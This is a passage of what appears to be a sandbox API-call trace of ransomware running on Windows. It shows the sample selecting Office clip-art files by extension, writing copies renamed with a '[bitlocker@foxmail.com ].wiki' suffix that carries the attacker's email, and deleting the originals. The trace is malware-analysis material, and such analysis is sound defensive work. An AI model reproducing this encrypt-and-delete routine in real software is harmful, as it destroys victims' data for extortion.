(lpString1=".ppt", lpString2=".WMF") returned -1 [0186.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0186.126] lstrlenW (lpString=".zip") returned 4 [0186.126] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.126] lstrlenW (lpString=".rar") returned 4 [0186.126] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.126] lstrlenW (lpString=".bz2") returned 4 [0186.126] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.126] lstrlenW (lpString=".7z") returned 3 [0186.126] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0186.126] lstrlenW (lpString=".dbf") returned 4 [0186.126] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0186.126] lstrlenW (lpString=".1cd") returned 4 [0186.126] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0186.126] lstrlenW (lpString=".jpg") returned 4 [0186.126] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0186.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0186.126] lstrlenW (lpString=".doc") returned 4 [0186.126] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.126] lstrlenW (lpString=".docx") returned 5 [0186.126] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.127] lstrlenW (lpString=".pdf") returned 4 [0186.127] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.127] lstrlenW (lpString=".xls") returned 4 [0186.127] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.127] lstrlenW (lpString=".xlsx") returned 5 [0186.127] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.127] lstrlenW (lpString=".ppt") returned 4 [0186.127] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0186.127] lstrlenW (lpString=".zip") returned 4 [0186.127] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.127] lstrlenW (lpString=".rar") returned 4 [0186.127] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.127] lstrlenW (lpString=".bz2") returned 4 [0186.127] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.127] lstrlenW (lpString=".7z") returned 3 [0186.127] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0186.127] lstrlenW (lpString=".dbf") returned 4 [0186.127] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0186.127] lstrlenW (lpString=".1cd") returned 4 [0186.127] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0186.127] lstrlenW (lpString=".jpg") returned 4 [0186.127] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.128] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0186.128] lstrlenW (lpString="BS00439_.WMF") returned 12 [0186.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0186.128] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=2052) returned 1 [0186.128] CloseHandle (hObject=0x1c8) returned 1 [0186.128] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf")) returned 0x20 [0186.128] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0186.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0186.128] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0186.129] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0186.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0186.129] GetLastError () returned 0x0 [0186.129] ReadFile (in: hFile=0x1c8, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x804, lpOverlapped=0x0) returned 1 [0186.135] WriteFile (in: hFile=0x1fc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x810, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x810, lpOverlapped=0x0) returned 1 [0186.135] ReadFile (in: hFile=0x1c8, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0186.136] WriteFile (in: hFile=0x1fc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0186.136] SetEndOfFile (hFile=0x1fc) returned 1 [0186.136] CloseHandle (hObject=0x1fc) returned 1 [0186.136] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0186.136] SetEndOfFile (hFile=0x1c8) returned 1 [0186.137] CloseHandle (hObject=0x1c8) returned 1 [0186.137] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0186.137] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf")) returned 1 [0186.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0186.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0186.137] lstrlenW (lpString=".doc") returned 4 [0186.137] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.137] lstrlenW (lpString=".docx") returned 5 [0186.137] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.137] lstrlenW (lpString=".pdf") returned 4 [0186.137] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.137] lstrlenW (lpString=".xls") returned 4 [0186.137] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.137] lstrlenW (lpString=".xlsx") returned 5 [0186.137] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.137] lstrlenW (lpString=".ppt") returned 4 [0186.137] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0186.137] lstrlenW (lpString=".zip") returned 4 [0186.138] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.138] lstrlenW (lpString=".rar") returned 4 [0186.138] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.138] lstrlenW (lpString=".bz2") returned 4 [0186.138] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.138] lstrlenW (lpString=".7z") returned 3 [0186.138] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0186.138] lstrlenW (lpString=".dbf") returned 4 [0186.138] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0186.138] lstrlenW (lpString=".1cd") returned 4 [0186.138] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0186.138] lstrlenW (lpString=".jpg") returned 4 [0186.138] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0186.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0186.138] lstrlenW (lpString=".doc") returned 4 [0186.138] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.138] lstrlenW (lpString=".docx") returned 5 [0186.138] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.138] lstrlenW (lpString=".pdf") returned 4 [0186.138] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.138] lstrlenW (lpString=".xls") returned 4 [0186.138] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.138] lstrlenW (lpString=".xlsx") returned 5 [0186.138] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.138] lstrlenW (lpString=".ppt") returned 4 [0186.138] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0186.325] lstrlenW (lpString=".zip") returned 4 [0186.325] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.325] lstrlenW (lpString=".rar") returned 4 [0186.325] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.325] lstrlenW (lpString=".bz2") returned 4 [0186.325] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.325] lstrlenW (lpString=".7z") returned 3 [0186.325] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0186.325] lstrlenW (lpString=".dbf") returned 4 [0186.325] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0186.325] lstrlenW (lpString=".1cd") returned 4 [0186.333] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0186.333] lstrlenW (lpString=".jpg") returned 4 [0186.333] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.343] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0186.352] lstrlenW (lpString="BS01638_.WMF") returned 12 [0186.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0187.094] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=10538) returned 1 [0187.094] CloseHandle (hObject=0x1e0) returned 1 [0187.094] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf")) returned 0x20 [0187.094] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0187.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0187.095] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.095] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0187.095] GetLastError () returned 0x0 [0187.095] ReadFile (in: hFile=0x1e0, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x292a, lpOverlapped=0x0) returned 1 [0187.296] WriteFile (in: hFile=0x1fc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x2930, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x2930, lpOverlapped=0x0) returned 1 [0187.297] ReadFile (in: hFile=0x1e0, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0187.297] WriteFile (in: hFile=0x1fc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0187.298] SetEndOfFile (hFile=0x1fc) returned 1 [0187.298] CloseHandle (hObject=0x1fc) returned 1 [0187.298] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.298] SetEndOfFile (hFile=0x1e0) returned 1 [0187.299] CloseHandle (hObject=0x1e0) returned 1 [0187.299] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0187.299] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf")) returned 1 [0187.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0187.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0187.299] lstrlenW (lpString=".doc") returned 4 [0187.299] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.299] lstrlenW (lpString=".docx") returned 5 [0187.299] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.299] lstrlenW (lpString=".pdf") returned 4 [0187.299] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.299] lstrlenW (lpString=".xls") returned 4 [0187.299] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.299] lstrlenW (lpString=".xlsx") returned 5 [0187.299] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.299] lstrlenW (lpString=".ppt") returned 4 [0187.299] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0187.299] lstrlenW (lpString=".zip") returned 4 [0187.299] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.300] lstrlenW (lpString=".rar") returned 4 [0187.300] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.300] lstrlenW (lpString=".bz2") returned 4 [0187.300] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.300] lstrlenW (lpString=".7z") returned 3 [0187.300] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0187.300] lstrlenW (lpString=".dbf") returned 4 [0187.300] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0187.300] lstrlenW (lpString=".1cd") returned 4 [0187.300] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0187.300] lstrlenW (lpString=".jpg") returned 4 [0187.300] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0187.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0187.300] lstrlenW (lpString=".doc") returned 4 [0187.300] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.300] lstrlenW (lpString=".docx") returned 5 [0187.300] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.300] lstrlenW (lpString=".pdf") returned 4 [0187.300] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.300] lstrlenW (lpString=".xls") returned 4 [0187.300] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.300] lstrlenW (lpString=".xlsx") returned 5 [0187.300] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.300] lstrlenW (lpString=".ppt") returned 4 [0187.300] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0187.301] lstrlenW (lpString=".zip") returned 4 [0187.301] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.301] lstrlenW (lpString=".rar") returned 4 [0187.301] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.301] lstrlenW (lpString=".bz2") returned 4 [0187.301] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.301] lstrlenW (lpString=".7z") returned 3 [0187.301] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0187.301] lstrlenW (lpString=".dbf") returned 4 [0187.301] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0187.301] lstrlenW (lpString=".1cd") returned 4 [0187.301] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0187.301] lstrlenW (lpString=".jpg") returned 4 [0187.301] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.301] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0187.301] lstrlenW (lpString="DD00405_.WMF") returned 12 [0187.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0187.302] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=17584) returned 1 [0187.302] CloseHandle (hObject=0x1e0) returned 1 [0187.302] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf")) returned 0x20 [0187.302] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0187.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0187.302] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.302] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0187.303] GetLastError () returned 0x0 [0187.303] ReadFile (in: hFile=0x1e0, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x44b0, lpOverlapped=0x0) returned 1 [0187.368] WriteFile (in: hFile=0x1fc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x44c0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x44c0, lpOverlapped=0x0) returned 1 [0187.369] ReadFile (in: hFile=0x1e0, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0187.369] WriteFile (in: hFile=0x1fc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0187.369] SetEndOfFile (hFile=0x1fc) returned 1 [0187.369] CloseHandle (hObject=0x1fc) returned 1 [0187.369] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.369] SetEndOfFile (hFile=0x1e0) returned 1 [0187.370] CloseHandle (hObject=0x1e0) returned 1 [0187.370] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0187.370] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf")) returned 1 [0187.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63 [0187.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63 [0187.370] lstrlenW (lpString=".doc") returned 4 [0187.370] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.370] lstrlenW (lpString=".docx") returned 5 [0187.370] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.370] lstrlenW (lpString=".pdf") returned 4 [0187.370] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.370] lstrlenW (lpString=".xls") returned 4 [0187.371] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.371] lstrlenW (lpString=".xlsx") returned 5 [0187.371] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.371] lstrlenW (lpString=".ppt") returned 4 [0187.371] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63 [0187.371] lstrlenW (lpString=".zip") returned 4 [0187.371] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.371] lstrlenW (lpString=".rar") returned 4 [0187.371] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.371] lstrlenW (lpString=".bz2") returned 4 [0187.371] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.371] lstrlenW (lpString=".7z") returned 3 [0187.371] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.371] lstrlenW 